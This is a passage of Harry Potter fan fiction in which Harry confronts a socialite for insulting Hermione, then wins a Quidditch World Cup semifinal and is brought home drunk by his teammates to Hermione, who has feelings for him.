it was coursing through Harry like a river.\n<br><br>\nIt was power. Power so intense that it was nearly palpable, power that was humming through the room like an electric charge, like lightning, leaving a metallic taste on Hermione\'s tongue. Power that was raw, yet refined, limitless, tugging on the corners of her mind and suggesting vast depths that reeled in Hermione\'s head like vertigo.\n<br><br>\nHermione had seen powerful spells performed in the past. She\'d seen Dumbledore angry, a sight which was enough to inspire trembling fear in even the most dedicated Death Eaters. This was something else entirely. Harry hadn\'t even cast a spell. He was just standing there, radiating energy like some sort of -- \n<br><br>\nThere was no word for it. Wizard didn\'t really cover it. \n<br><br>\n&quot;Stay away from us.&quot;\n<br><br>\nHarry\'s voice was ice, hard and resonant. He held Risa Talbot in his hot, unwavering gaze; Risa\'s mouth was open, her eyes wide. She looked very different to Hermione. Very dull. Very plain.\n<br><br>\nThe packed club was riveted to the spot, hanging on Harry\'s words. It seemed like no one was breathing.\n<br><br>\nRisa blinked and seemed to regain a bit of her usual self-possession. &quot;Harry,&quot; she began, her voice quavering slightly under its coating of syrup. &quot;What are you talking about, love?&quot;\n<br><br>\n&quot;You know perfectly well what I\'m talking about. I know all about your little games, Risa. And right now I don\'t find them particularly funny.&quot;\n<br><br>\n&quot;I don\'t -- I mean, what -- &quot;\n<br><br>\n&quot;I want you to remember something.&quot;\n<br><br>\nRisa\'s coquettish facade was crumbling like a sand castle in high tide. She gulped.\n<br><br>\n&quot;Hermione Granger is worth a thousand of you.&quot;\n<br><br>\nThe color drained from Risa\'s rosy lips. She could no longer look Harry in the face.\n<br><br>\n&quot;And because she is,&quot; he continued quietly, &quot;she\'ll probably forgive you someday for whatever it was you said to her this evening.&quot;  \n<br><br>\nThe green glow edging Harry\'s cloak flared once; his hand moved compulsively to his pocket.\n<br><br>\n&quot;I, on the other hand... &quot;\n<br><br>\nHarry pulled his wand out, his long fingers grasping it reflexively. The glow sharpened, intensified. Risa Talbot\'s face looked pale and waxen, like an old china doll. Hermione felt herself tense as if she was about to fall from a cliff. \n<br><br>\nAnd then Harry\'s jaw clenched; his eyes clouded like shattered glass. His fingers shook imperceptibly. When he spoke again, his voice was oddly strained, almost a whisper.\n<br><br>\n&quot;Just leave us alone.&quot; \n<br><br>\nThere was a bright green flare, and a soft pop. \n<br><br>\nHarry was gone.\n<br><br>\n\n~ ~ ~ ~ ~\n<br><br>\nHermione wasn\'t sure how she\'d gotten home. She\'d found herself on the front steps of 231 Orthagon Alley on Ron\'s arm, wrapped snugly in one half of his cloak against the cold London night.\n<br><br>\n&quot;Come on, let\'s get you warmed up,&quot; Ron urged, opening the front door and steering her into his flat. He rubbed her shoulders briskly and draped the rest of his cloak over her before pulling out his wand to light a fire in the empty grate.\n<br><br>\nShe was numb, somehow. Cold to the bone. She didn\'t know why.\n<br><br>\nIn a few minutes a piping mug of tea was in her hands and she was bundled up on one end of the mushroom-colored couch, Ron peering at her with concern.\n<br><br>\n&quot;\'Mione? You okay?&quot;\n<br><br>\n&quot;I think so.&quot;\n<br><br>\n&quot;Right, don\'t move.&quot; Ron was at the door. &quot;I\'m going upstairs to see if Harry\'s there. Be right back.&quot;\n<br><br>\nThe door of the flat slid shut as Ron\'s feet pounded on the stairs above. The tea was helping; Hermione felt some of the warmth returning to her fingers. In a few moments Ron was back. \n<br><br>\n&quot;I guess he is home. Light\'s on, but he\'s got a tie wrapped round the doorknob for privacy. I didn\'t knock.&quot;\n<br><br>\nRon settled next to her with his own steaming mug. He stared into it uncomfortably.\n<br><br>\n&quot;I don\'t understand. When you left for the washroom, everything was fine. Then you\'re off missing for the better part of an hour and Harry starts to worry. We couldn\'t think what happened. We know you, you\'d have said if you were going home, right? Next thing I know, Harry busts open the washroom door and comes out five minutes later looking like absolute hell on a horsebasket.&quot;\n<br><br>\n&quot;Hell on a what?&quot; Ron was hopeless with Muggle expressions; he collected them much like his father collected plugs.\n<br><br>\n&quot;You saw him. And then things got weird.&quot;\n<br><br>\nThe concerned, awkward look in Ron\'s eyes warmed the last numb part of Hermione\'s brain, and words began to tumble out. She told Ron about everything that had happened in the washroom, leaving out the minor detail that she was so in love with Harry that Risa\'s backhanded insults felt like a punch in the kidneys. \n<br><br>\nIn love with Harry. Great Merlin\'s Ghost. She didn\'t dare think about it.\n<br><br>\nWhen she finished, Ron\'s jaw was hanging open. &quot;Those bloody bitches,&quot; he murmured. &quot;It\'s not like you, to let that kind of thing upset you, is it?&quot;\n<br><br>\nRon never failed to shock Hermione in tiny ways. For all the blatant clues he missed, he could sometimes grasp nuances that weren\'t exactly obvious.\n<br><br>\n&quot;No, it\'s not. I was just -- taken by surprise, I guess. Caught off guard.&quot;\n<br><br>\nRon tipped Hermione\'s chin up with his thumb. \n<br><br>\n&quot;You know you\'re beautiful, right?&quot;\n<br><br>\nAt this a fresh wave of tears stung Hermione\'s eyes.\n<br><br>\n&quot;Oh, \'Mione. I\'m sorry,&quot; Ron said, pulling her close to plant a kiss on the top of her dishevelled curls. &quot;I can see why Harry got so mad if he saw you in the washroom like that.&quot; He pulled away, shaking his head. &quot;But I don\'t think I could get as mad as Harry did. I\'ve never seen anything like that.&quot;\n<br><br>\n&quot;I know.&quot; Hermione was dabbing furiously at the corners of her eyes. &quot;I hope he\'s all right. I -- I don\'t know what that was.&quot;\n<br><br>\nRon was nodding. &quot;I saw it myself, and I can\'t explain it. I\'ll tell you one thing, though. I thought for a minute he was going to level the club or something.&quot;\n<br><br>\n&quot;I know. Well, I don\'t know. I don\'t know what I thought.&quot;\n<br><br>\nRon\'s brow furrowed. &quot;So you\'ve never heard of that kind of... thing, then? In any of your books? Did he cast a spell? It almost looked like he was giving off some kind of glow.&quot;\n<br><br>\n&quot;I\'ve never heard of it, no.&quot; Worry for Harry was beginning to push all other thoughts from Hermione\'s mind. She struggled to her feet, shrugging off Ron\'s cloak, which was wrapped on top of her own. &quot;I think we should check on him.&quot;\n<br><br>\n&quot;Right.&quot; Ron got to his feet, looking uneasy. &quot;Or -- &quot;\n<br><br>\n&quot;What is it?&quot;\n<br><br>\n&quot;Maybe you should just go. I don\'t want to barge in on him.&quot;\n<br><br>\n&quot;But Ron -- &quot;\n<br><br>\n&quot;You\'re better at this sort of thing.&quot; Ron gave her a pleading look. \n<br><br>\nAn unwritten rule had emerged between the Trio over the years, and it was this rule that Ron had just invoked. In delicate situations, Hermione went to Harry first, alone. Hermione also went to Ron, though Harry had been known to do so while she and Ron were dating. And Harry went to Hermione. \n<br><br>\nThis was because it was acknowledged that Ron\'s greatest talent did not lie in dealing with delicate situations. He was much better at knocking on the door thirty minutes later with a bag of pastries from the kitchens and asking, &quot;All  right in there?&quot;\n<br><br>\nHermione looked at Ron, his eyes uneasy and anxious, and nodded. &quot;I\'m coming to get you if he seems all right.&quot;\n<br><br>\n&quot;You\'re the best.&quot; Ron was in the kitchen now, rummaging through the cabinets and pulling out a bottle of Ogden\'s. \n<br><br>\n&quot;Better save some of that, just in case.&quot; \n<br><br>\nRon nodded, popping the cork as Hermione shut the door and walked quickly up the stairs to Harry\'s flat. Right. Best go fast before she lost her nerve, before she was no longer Brave Hermione Granger, before she turned back into the feeble girl who had a habit of hiding in the loo.\n<br><br>\nHarry\'s door was shut, but warm light was spilling into the hallway from a thin crack underneath the door. An old Gryffindor tie was knotted firmly around the doorknob, its scarlet and gold stripes darkened with age. The sight of it brought a lump to Hermione\'s throat. She thought of little Harry, ink-black hair, round cheeks, and guileless green eyes, scrambling out the portrait hole, knotting his tie and shoving it hastily down the v-neck of his jumper while she scolded him like a mother hen. <i>&quot;Hurry UP, Harry! We\'re late for Transfiguration!&quot;</i>\n<br><br>\nThat Harry seemed so far away.\n<br><br>\nThis was crazy. She shouldn\'t be afraid of talking to Harry. Her best friend Harry. Hermione straightened and tossed her hair back, then rapped firmly on the door.\n<br><br>\n&quot;Who is it?&quot;\n<br><br>\nHarry\'s voice, deep and unmistakable, was muffled through the solid door. Hermione felt weak with relief; her answer came in a babbled rush. &quot;It\'s me. I don\'t mean to bother you. I just wanted to check -- &quot;\n<br><br>\nFootsteps inside, then the click of the door opening. It slid halfway open before Harry\'s eyes met Hermione\'s and her stomach twisted into knots. \n<br><br>\nFor a moment she saw deep longing, terrible sadness, and then his eyes blurred into an unreadable fog, dull like tumbled sea glass.\n<br><br>\n&quot;Hi,&quot; he said, his voice rough and toneless. \n<br><br>\n&quot;Are you okay?&quot; Hermione\'s voice sounded offensively chipper in her ears.\n<br><br>\n&quot;I will be. I mean, yeah. I\'m okay.&quot; His eyes were still clouded, expressionless.\n<br><br>\nThey stood for a moment, but Harry didn\'t open the door. &quot;All right,&quot; Hermione said uneasily. &quot;Ron and I were just --&quot;\n<br><br>\n&quot;You don\'t have to worry. I just need some sleep. It\'s been a long night.&quot;\n<br><br>\nThe party. Harry, sipping her drink, grinning and wrapping his arm around her. Harry, pressed so close to her on the dance floor that her head spun and her mind threatened to take a permanent trip to another galaxy. That had been tonight. \n<br><br>\nHermione nodded. Her voice came out in an uncertain squeak. &quot;Okay.&quot;\n<br><br>\nA flash of warmth shot through the flat bottle-green of Harry\'s eyes. He reached out and traced the side of her face with cupped fingers.\n<br><br>\n&quot;I\'m sorry,&quot; he whispered.\n<br><br>\nAnd then Hermione was in the hall alone, staring at a worn scarlet and gold knot on a shiny brass doorknob.\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\nThere was no aftermath.\n<br><br>\nThe next morning Harry was at Hermione\'s door at breakfast, asking to borrow milk, dashing off to practice with his usual radiant Harry grin, leaving her utterly confused. That night Ron picked up Chinese food for supper and all three of them ate downstairs in his flat. Ron gave Harry a few searching looks over egg rolls and steamed rice, and that was it. \n<br><br>\nNo Howlers arrived. Hermione had expected seven-inch headlines on the front page of the Daily Prophet: <i>Potter Shocks Crowd by Declaring Muggle-Born Friend Superior to Posh Socialite</i>. <i>Harry Potter Finally Cracks: England\'s Seeker Threatens Shaggable Young Lady in Trendy Club.</i> But the Prophet was strangely devoid of juicy tidbits; in fact, there was no mention at all of Harry that day until the seventh page, under the usual Quidditch rankings. \n<br><br>\nThus was born The Night That Never Existed.\n<br><br>\nHarry left the next day for a three week stint of playoff games in Europe and Australia. Ron settled comfortably into his job, staying out late on Thursdays and weekends with a crowd of Ministry co-workers. Hermione threw herself mindlessly into her studies, roaming the Great Library at Hornswoggle with a mixture of apathy and unease. At any other time she would have been thrilled by its cavernous collection of musty tomes, and it was disconcerting that such a vast library should now seem so empty of life. But at least books were comfortable, calm, and familiar. She was somehow earning top marks, just like always, even though every scratch of her quill brought her back to another library and another time entirely. <i>I\'m going to the Restricted Section tonight to get a book for Hermione. Don\'t wait up.</i>\n<br><br>\nHarry sent them Owls after every game, complete with local Wizarding newspaper clips with moving pictures of the matches. <i>Italy is smashing. Miss you both tons. Can\'t wait to get home. Tomorrow we leave for Greece. Love, Harry. P.S. Caught the Snitch.</i>\n<br><br>\nA few subtle things did change. Risa Talbot was notably absent from the doorstep of 231. There were still small groups of girls that hung about from time to time, but no one Hermione recognized from That Night. And Ron took extra care to compliment Hermione on her appearance for a week or so, until Hermione finally managed to make him understand that she was perfectly all right, thank you very much, and that he was driving her absolutely batty. At which point Ron grinned wickedly and began teasing her about her wild hair, and all was normal again.\n<br><br>\nExcept that some nights, Hermione\'s dreams were infused with the scent of magic, and the feeling of twining arms and legs, and the glow of a rougish smile. \n<br><br>\nAnd other nights, they were tinged in a sick, unearthly green, filled with darkness and wind and a strange sadness.\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\nThe winter sky was a bright chalky blue, littered with cotton-candy clouds, and the air was so clear that it was almost possible to see the London skyline beyond the magically concealed bleachers of Puddlemere Stadium. \n<br><br>\nMuggles all over greater London had been forgetting pressing appointments all day in the vicintity of the stadium, but it looked as if the Ministry was going to have to do a bit of clean-up regardless. The excitement level had reached such a fever pitch that wizards outside the stadium were carrying on in the streets with horns and balloons and very small yet colorful explosions.\n<br><br>\nIt seemed that Arthur Weasley could have cared less. He was seated next to Hermione, beaming and waving a pennant and carrying on almost as much as Ron, who was nearly hoarse with hollering even though the game hadn\'t yet started. They were seated in the top box with the rest of the Weasleys, with the exception of Ginny, who was with the rest of the Daily Prophet staff in the press area. For the past week Ron had been almost out of his mind with delight, ever since Harry\'s package had arrived. The package had contained a pile of official Team England scarves for Hermione and all the Weasleys, and a ream of shiny, gold-embossed tickets. It had happened. England was playing Australia in the World Cup semifinal playoff game, with home field advantage at Puddlemere. The winner would go on to play Ireland at the Quidditch World Cup next summer.\n<br><br>\nHermione\'s night had been a blur of scattered nightmares and wide-eyed hours in front of the fire; she felt bleary and breathless with nerves as she watched Ludo Bagman take his seat in the top box. She hadn\'t seen Harry in three weeks, not since he\'d taken her arm on that cold London street and slid his hands over her waist on the dance floor and something had happened, something had gone wrong, and she\'d said nothing, and he\'d gone. And now she would finally see him, in front of this crowd of thousands, and he\'d be a tiny speck on the field, a blur on a broomstick, and she would have to shield her eyes and watch the Harry speck through shaking fingers because he terrified her senseless when he flew.\n<br><br>\nBut then the team mascots paraded onto the field and Ron grabbed her arm and started bouncing up and down, and she couldn\'t help it. Nerves gave way to a thrill of excitement as the stadium shook with cheers and red and white banners and rosettes and scarves. The England mascots were nothing short of spectacular: an enormous golden lion, stalking onto the pitch and shaking a mane of shining bronze curls, and a stunning unicorn easily as big as one of Madam Maxime\'s mounts, pawing the ground and rearing up at the crowd. Australia\'s herd of multicolored kangaroos was assembling on the other side of the field, tossing fireworks from their pouches amidst the drowning cheers. \n<br><br>\nAnd then Ludo Bagman\'s voice, amplified over the crowd: &quot;I\'d like to welcome all of you to the World Cup Semifinal Match between defending England, and visiting team Australia&#8230; the winner of this match will advance to the Quidditch World Cup this summer. And now, I give you&#8230; Australia!&quot;\n<br><br>\nThe yellow-and-green-robed Australian team darted into the sky one by one and wheeled high above the pitch as Bagman\'s voice rattled off names, and then reached a jubilant crescendo that couldn\'t be disguised. &quot;And now, without further ado, I give you&#8230; England!&quot;\n<br><br>\nStreaks of red and white shot onto the field as the stadium thundered with noise. &quot;Wood!&#8230; Hatfield!&#8230; Mason!&#8230; Spencer!&#8230; Jones!&#8230; Jackson!&#8230; aaaand&#8230; POTTER!!&quot;\n<br><br>\nAt the sound of Harry\'s name the crowd exploded. Hermione felt a rush as heady as if she\'d taken off on a broomstick herself. A tiny speck with raven hair flashed into view from the other side of the pitch and Ron was nearly on top of his chair with excitement. The speck looped around in unmistakable Harry style - amazing how easy it was to spot Harry from miles away just by the way he flew - and zipped towards their end of the stadium. In a matter of seconds Harry was level with the top box, pulling his broom into a swift midair stop and beaming like crazy at all of them. \n<br><br>\n&quot;Hullo, you lot,&quot; he said breathlessly.\n<br><br>\nMolly Weasley was overcome, dabbing her eyes with a large red and white banner. &quot;Hello, Harry dear! We\'re so proud -- &quot;\n<br><br>\n&quot;Cracking good seats, Harry!&quot; Percy was on his feet next to Penelope, hoisting Percy Jr. up so he could wave at Uncle Harry.\n<br><br>\n&quot;KILL THEM, HARRY! KILL! KILL!&quot; chorused the twins. \n<br><br>\nHarry laughed, his face breaking into what Ron called his Shit-Eating Grin, and he gave Ron a thumbs-up.\n<br><br>\n&quot;Go get \'em!&quot; Ron rasped hoarsely, his voice completely gone.\n<br><br>\nHarry turned his broom sharply, glancing down at the pitch. The referee was walking out onto the field,  carrying a large wooden chest. Harry\'s game-day scarlet and white robes whipped in the breeze, the colors far more brilliant than his practice robes, and Hermione could see the white block letters across his back: &quot;POTTER.&quot; He shifted again to face them, the wind tossing his hair across his forehead, and suddenly he was Harry Potter, lightning scar and glasses and worn leather Quidditch gloves, Seeker for England, Saver of the Free World Seven Times Over, and Hermione\'s breath caught in her throat.\n<br><br>\nBut Harry Potter\'s eyes were searching the top box, and when they met hers, his face broke into a brilliant smile. His eyes held hers, glinting, and Hermione realized she could read them, could fall right into their clear green depths and know what it was to be Harry at that moment. She knew he was telling her about the perfect day and how it felt to be on that broom and never to worry while he was flying, and she felt like they were dancing again, like the space between them had vanished. His eyes drew her close somehow, and her heart began its familiar pounding as the blood rushed to her cheeks and she felt herself suspended in his stare as if she were in his arms.\n<br><br>\nAnd then the whistle blew and with a wave and a flash of scarlet he was gone, and Hermione\'s heart was soaring with him as if they were on the broom together. \n<br><br>\nIt was a breathtaking match. Australia\'s Beaters were easily twice the size of anyone on the England team, and could deliver blows that sent bludgers rocketing across the field like cannonballs. England\'s Chasers were nearly flawless, weaving and diving and executing pass combinations that were almost too fast to see. Australia\'s Seeker was much bigger than Harry and marked him closely, hoping to throw Harry off-balance each time their shoulders collided. \n<br><br>\nHarry, unsurprisingly, gave as good as he got. Though smaller, he was easily as strong as the opposing Seeker, and clearly faster than anyone else on the field. He managed to be everywhere at once, not only circling for the Snitch, but playing a crafty defense, confusing the opposing Beaters, blocking passes, and confounding the Australian Chasers by darting into their precise formations. \n<br><br>\nHermione watched the match with her eyes wide and her heart in her throat. She was somehow unafraid this time, and all she could feel was the wind whipping her face, and how it must feel to fly as fast as Harry, fast enough that no one could catch you, alone with only wind behind you, and she felt like a part of herself was flying that day too.\n<br><br>\nAnd when Harry finally spun into a dive, a dive so fast she feared for a moment he might blink out of existence, racing the other Seeker shoulder to shoulder and then pulling up and spinning, actually spinning over the other Seeker to change direction mid-plummet and looping again and shooting straight up into the bright winter sky with the Snitch grasped firmly in his hand, it was as if Hermione could feel it in her own hand and she could see nothing else but golden wings and taste the tears running down her cheeks.\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\n&quot;Oi! Is anyone at home?&quot;\n<br><br>\nHermione\'s eyes flew open with a jolt. She was overly warm, and something with sharp corners was jabbing hard into her ribs.  It took her a moment to realize she\'d fallen asleep in front of the fire, a copy of <i>Harbinger\'s Magical Maladies</i> still open in her lap. She hadn\'t been able to sleep yet again, so she\'d made a halfhearted attempt to study. That had given way, however, to a few long hours of daydreaming about broomsticks and wind and Quidditch robes and very green - \n<br><br>\n&quot;Hullo in there?&quot;\n<br><br>\nThe voice, muffled and strange, was coming from the old butler\'s horn by the door; Hermione didn\'t recognize it. She scrambled to her feet, nearly tripped over her bathrobe, and stood on her tiptoes to call into the horn. &quot;Hello?&quot;\n<br><br>\nStrange scufflings and voices could be heard through the horn. It sounded vaguely like someone was singing. \n<br><br>\n&quot;Er, yeah, this is Mason,&quot; came the voice, rough and distorted. &quot;Will Mason. And Jonesy. We\'re with Harry.&quot;\n<br><br>\nThe match came flooding back to her and Hermione forgot to breathe. Harry was going to the World Cup. She\'d gone with everyone to the post-game party that afternoon, but after a few hours of watching Harry be mobbed by every Quidditch-crazed witch and wizard in London, she\'d come home in an attempt to recover from her sleepless night the day before. Mason and Jonesy&#8230; Will Mason and Martin Jones were the Beaters for England; she\'d met them quite a few times. \n<br><br>\n&quot;You\'re with Harry? Is everything all right?&quot;\n<br><br>\n&quot;We\'re fine,&quot; came Mason\'s voice. &quot;Sorry to wake you at this hour. Could you let us up?&quot;\n<br><br>\n&quot;Of course,&quot; Hermione stuttered. &quot;Be right down.&quot; What time was it, anyway? Head swimming, she stumbled into the bedroom, pulled on her clothes, and flew out the door and down the stairs. Why on Earth couldn\'t Harry let himself into his own flat? He hadn\'t been hurt in the match -- what if an Australian fan had tried to get revenge? What if Harry had done something like he\'d done that night at the club --\n<br><br>\nShe threw open the front door.\n<br><br>\nHarry was standing between the two Beaters -- well, standing was really too strong a word. Leaning might have been more accurate; he was attempting to remain vertical with varying degrees of success. It was a good thing Mason and Jones were as huge as they were, because it looked as if each one was doing their fair share of keeping Harry upright. All three of them were still in their game robes, which were in a fair state of disarray. Mason had a huge slash of mud down one side where he\'d been clipped by a Bludger. Harry, dwarfed by his teammates, definitely looked the worst for wear; his robes were streaked with mud and grass stains, most likely from a tumble onto the field after diving for the Snitch, and clumps of his hair appeared to be plastered together and sticking up in all directions. \n<br><br>\nWhat\'s more, he was singing. Loudly. \n<br><br>\n&quot;If I were the marrying kind, but thank the Lord I\'m not, sir! The Quidditch player that I would marry would be a Quidditch -- &quot;\n<br><br>\nHermione goggled. \n<br><br>\nShe\'d seen Harry drunk before, plenty of times. She\'d shared butterbeer with him in the common room, the real, alcoholic stuff that he and Ron smuggled from Hogsmeade, and stayed up until all hours watching Ron do Snape imitations. Harry and Ron had dragged her into the Three Broomsticks dozens of times, mostly during their seventh year when they thought she was studying too hard for N.E.W.T. exams. One summer they\'d raided the Burrow\'s stash of elderberry wine with Fred and George, and ended up playing a very wobbly game of Quidditch in the back field at four in the morning. But it was always Ron who ended up on top of a table, attempting to sing all twelve lesser-known verses of &quot;I May Be A Tiny Chimney Sweep&quot; while Harry tried to rein him in. Harry, even drunk, was always somehow in charge, could still cast any number of charms after finishing a pint, though he\'d be pink and laughing and not getting the words exactly right. Tonight, however -- \n<br><br>\nMason and Jones both looked up when Hermione opened the door. \n<br><br>\n&quot;Evenin\', Hermione,&quot; Mason said, with a shy smile.\n<br><br>\n&quot;Hope we didn\'t wake you,&quot; added Jones politely.\n<br><br>\n&quot;Oh no,&quot; said Hermione, feeling like some sort of stuffy schoolmistress. &quot;It\'s fine, really.&quot;\n<br><br>\nHarry was oblivious to this exchange; he looked up at Mason and gave him a strong nudge. &quot;Would be a Quidditch -- &quot;\n<br><br>\nMason chuckled and rolled his eyes. &quot;Beater, sir!&quot;\n<br><br>\nHarry plunged onward. &quot;Why, sir?&quot;\n<br><br>\nMason flushed, clearly embarrassed to be singing in front of Hermione, but launched into a verse as he and Jones began walking Harry up the front steps.\n<br><br>\n&quot;\'Cause I\'d swipe balls, and you\'d swipe balls -- &quot; at this Harry and Jones joined in - &quot;we\'d all swipe balls together, we\'d be all right in the middle of the night -- &quot;\n<br><br>\nHermione was sure her jaw was hanging open, but she was too shocked to do anything about it. She had a fleeting thought that possibly their neighbors wouldn\'t appreciate three members of the Quidditch National Team serenading her with bawdy songs on the front porch at two in the morning, but the thought passed as they reached the top steps and Harry suddenly blinked at Hermione.\n<br><br>\n&quot;Oh,&quot; he slurred softly, and his eyes were unfocused and sweet. &quot;Hi, Hermione.&quot;\n<br><br>\nHermione felt her knees melt. She held the door open as the two burly Beaters struggled through the front door with Harry and into the stairwell.\n<br><br>\n&quot;Very sorry about this,&quot; said Mason, and Hermione noticed he was slurring a bit as well, though not so badly as Harry. &quot;We were havin\' a bit of a bash, you know, and one thing led to another&#8230;&quot;\n<br><br>\nJones chuckled. &quot;Let\'s just say it\'s easy to forget that Harry here isn\'t as big as some of the other blokes on the team.&quot;\n<br><br>\n&quot;It\'s easy for Harry to forget, you mean,&quot; said Mason, giving Harry an easygoing nudge. &quot;He tried to keep up with Jonesy here, but I think Jonesy weighs twice as much.&quot;\n<br><br>\n&quot;He doesn\'t,&quot; Harry protested. &quot;I\'ve put on weight this year.&quot;\n<br><br>\n&quot;Sure y\'have, Potter,&quot; grinned Mason, looking down at Harry from his considerable height. &quot;You\'re almost our size now.&quot;\n<br><br>\n&quot;Don\'t speak too soon,&quot; grunted Jones, heaving one of Harry\'s arms around his shoulders. &quot;We\'ve got to get him up the stairs, mate.&quot; \n<br><br>\n&quot;I can levitate him,&quot; said Hermione, fumbling for her wand, which she quickly discovered was still in her robe. &quot;Bugger -- I\'ve left my wand in my flat -- &quot;\n<br><br>\n&quot;Nah, don\'t worry about it,&quot; said Mason, lifting Harry\'s other arm easily. &quot;It\'s good for us, isn\'t it, Jonesy?&quot;\n<br><br>\n&quot;Suppose so. Considering we\'ll need to train for the Cup now,&quot; Jones grinned.\n<br><br>\n&quot;Damn right,&quot; said Harry resolutely, beaming and swaying slightly.\n<br><br>\nMuch to her chagrin, Hermione learned a few more verses to the Quidditch song on the way up the stairs. Quidditch goalpoasts, sir? They stood erect. Bludgers got beaten off. Thankfully they were in Harry\'s flat by the time Harry started in with &quot;Spectator on a rainy day, sir!&quot; because Hermione wasn\'t quite sure if she wanted to know that particular stanza.\n<br><br>\n&quot;Right,&quot; said Mason as they deposited Harry heavily onto the sitting room couch. &quot;Good thing you were here, Hermione. Do us a favor and make sure he gets into bed all right? Jonesy and I need to get back to the pub.&quot;\n<br><br>\n&quot;Has he been -- er -- &quot; Hermione couldn\'t believe she was having this conversation. &quot;Sick?&quot;\n<br><br>\n&quot;Oh yeah,&quot; said Jones. &quot;Twice already. Should be okay.&quot;\n<br><br>\nHarry, sprawled across the couch, waved at his teammates breezily. &quot;M\'fine,&quot; he said. &quot;Don\'worry.&quot;\n<br><br>\nHermione shifted uncomfortably. &quot;Is Ron still at the pub?&quot;\n<br><br>\n&quot;Oh aye,&quot; said Mason. &quot;Don\'t worry about that one. He\'s been chatting in the corner with some bird all night.&quot; He leaned over and ruffled Harry\'s sticky hair affectionately. &quot;You take care, right, mate? That was a bloody fine game you played.&quot;\n<br><br>\nHarry swatted at Mason\'s beefy arm and grinned. &quot;You too, mate.&quot;\n<br><br>\nJones gave Harry a mock salute. &quot;See you at practice, Potter.&quot;\n<br><br>\n&quot;Thanks for taking care of him,&quot; Hermione said, feeling herself flush.\n<br><br>\n&quot;Ah, don\'t mention it. That\'s our job,&quot; grinned Mason.\n<br><br>\nAnd with that the two Beaters were out the door of Harry\'s flat, smiling and waving as Hermione closed it quietly behind them. Her heart was pounding again as she turned around and Harry gave her a wobbly smile.\n<br><br>\n&quot;Hey,&quot; he said softly.\n<br><br>\nHermione was fighting the urge to slip out of the flat and back upstairs, where she wouldn\'t be alone with Harry, where she might not say something accidentally and then one thing would lead to another and it would certainly end badly when everyone woke up in the morning in someone else\'s bed. \n<br><br>\nShe wasn\'t thinking clearly. This wouldn\'t do. \n<br><br>\nHarry was curling up on the couch in his muddy robes, his hair arrayed frightfully in sticky spikes. Hermione took a breath. He clearly needed a bath; at the very least she needed to get him out of that filthy uniform. She had a degree in magical medicine -- certainly she could handle this. Out of the uniform and into bed. Maybe a quick wash in the sink -- she couldn\'t get him into the shower. Though she really did want to. \n<br><br>\nRight. That line of thinking wasn\'t helpful.\n<br><br>\nHermione sat down on the couch next to Harry and shook him gently. &quot;Harry? We\'ve got to get your robes off before you fall asleep.&quot;\n<br><br>\n&quot;Mmmurf,&quot; Harry said.\n<br><br>\n&quot;Come on now.&quot; She shook him again.\n<br><br>\n&quot;Erglhh.&quot; Harry rolled onto his side.\n<br><br>\n&quot;Oh honestly. You\'re a mess, Harry.&quot; \n<br><br>\nWhen another shake produced no results, Hermione unlaced Harry\'s leather Quidditch boots and peeled off his socks, which made her grin in spite of herself -- they were some of Dobby\'s handcrafted creations, mismatched, a white one with roaring lions and a scarlet one with unicorns. She undid the lacing on his outer robes and managed to slip them off one arm, realizing that the sleeves had been completely soaked in ale.\n<br><br>\n&quot;Lovely,&quot; she said, speaking as much to herself as to Harry, who was half-asleep and chuckling softly. \n<br><br>\nWith a bit more maneuvering she managed to pull his robes off completely; the effort seemed to rouse him a bit, and he sat up halfway as she was piling the beer-scented garment next to the couch and putting his wand on an end table.\n<br><br>\n&quot;Thanks,&quot; he murmured. &quot;Here.&quot;\n<br><br>\nHarry began lifting his team jumper over his head, but it caught on his glasses and he began to laugh and became completely unable to pull it off any further. Hermione, now laughing herself, reached out and eased it over his head, and as she untangled it his hand closed over hers by mistake and everything smelled of ale and cut grass and Harry, and she looked up and his eyes were barely a foot from hers, blinking wide and green without glasses, and Hermione was suddenly painfully aware that Harry was missing a shirt and she couldn\'t look down because she might lose control completely.\n<br><br>\n&quot;We should do this more of\'n,&quot; Harry said, with a lopsided smile.\n<br><br>\nHermione felt the tips of her ears burn pink. Best friend. He\'s your best friend. &quot;Oh definitely,&quot; she scoffed. Harry put his glasses back on again, then blinked at her with eyes still unfocused. He was dangerously close, leaning back on the couch in only his uniform trousers, his broad shoulders resting against a cushion and still pale and cool and strong as she remembered them. \n<br><br>\nHermione felt like she was in some sort of bizarre freefall, tumbling towards the inevitable force that was Harry. &quot;Um, your hair,&quot; she stuttered. &quot;There\'s something in it I think.&quot;\n<br><br>\n&quot;Mm,&quot; Harry nodded. &quot;Beer.&quot;\n<br><br>\nTrying to keep her eyes away from the unclad bits of Harry, Hermione reached out and touched his head gingerly. &quot;Ergh. I think you\'re right.&quot;\n<br><br>\n&quot;Th\' boys dumped it on me,&quot; Harry explained earnestly.\n<br><br>\n&quot;Well, let\'s get some of it out before you go to sleep,&quot; Hermione said, standing up and wondering absently how she was going to get Harry into the bathroom and then into bed without the aid of magic. And how she would do it all without running her hands over his --\n<br><br>\n &quot;I\'ll just go upstairs and get my wand. &quot;\n<br><br>\n&quot;Oh no,&quot; Harry protested stubbornly, grabbing her hand. &quot;Stay.&quot;\n<br><br>\n&quot;Er -- &quot; Breathe. Just breathe. &quot;Right. Um, let\'s get up then, shall we?&quot;\n<br><br>\nTo her surprise Harry actually nodded. He slung an arm around her and gave her an embarrassed smile as they stood and she staggered slightly under his weight.\n<br><br>\n&quot;Sorry m\'such a mess.&quot;\n<br><br>\n&quot;It\'s okay,&quot; Hermione said breathlessly. I will not faint. I will not. Harry\'s body was warm against hers and even the weight of it was wonderful. Somehow -- and Hermione was never quite sure how -- they made it to the bathroom, Hermione steadying Harry as he leaned into the sink and she scrubbed water into his ink-black hair. \n<br><br>\nOddly enough it didn\'t feel strange to be in the bathroom with Harry. It felt -- normal. Running her hands through his hair was the most natural thing in the world and also the most incredible. And the most frightening. Frightening because she had to remind herself that running her hands elsewhere probably wouldn\'t seem so normal to Harry. \n<br><br>\n&quot;Thanks,&quot; he said, straightening up and swaying slightly. The cold water seemed to have restored a bit of his equilibrium. \n<br><br>\n&quot;You, er, should get to bed,&quot; Hermione said, wishing fervently that she didn\'t always have to be so bloody practical.\n<br><br>\n&quot;Yeah, okay. Gimme a sec in here.&quot;\n<br><br>\n&quot;You all right?&quot;\n<br><br>\n&quot;Think so.&quot; Harry grinned at her and shut the door while she went back into the living room. I could leave, I could leave now, Hermione thought, it would be the rational thing to do, he can make it to bed, it\'s late, I\'ll 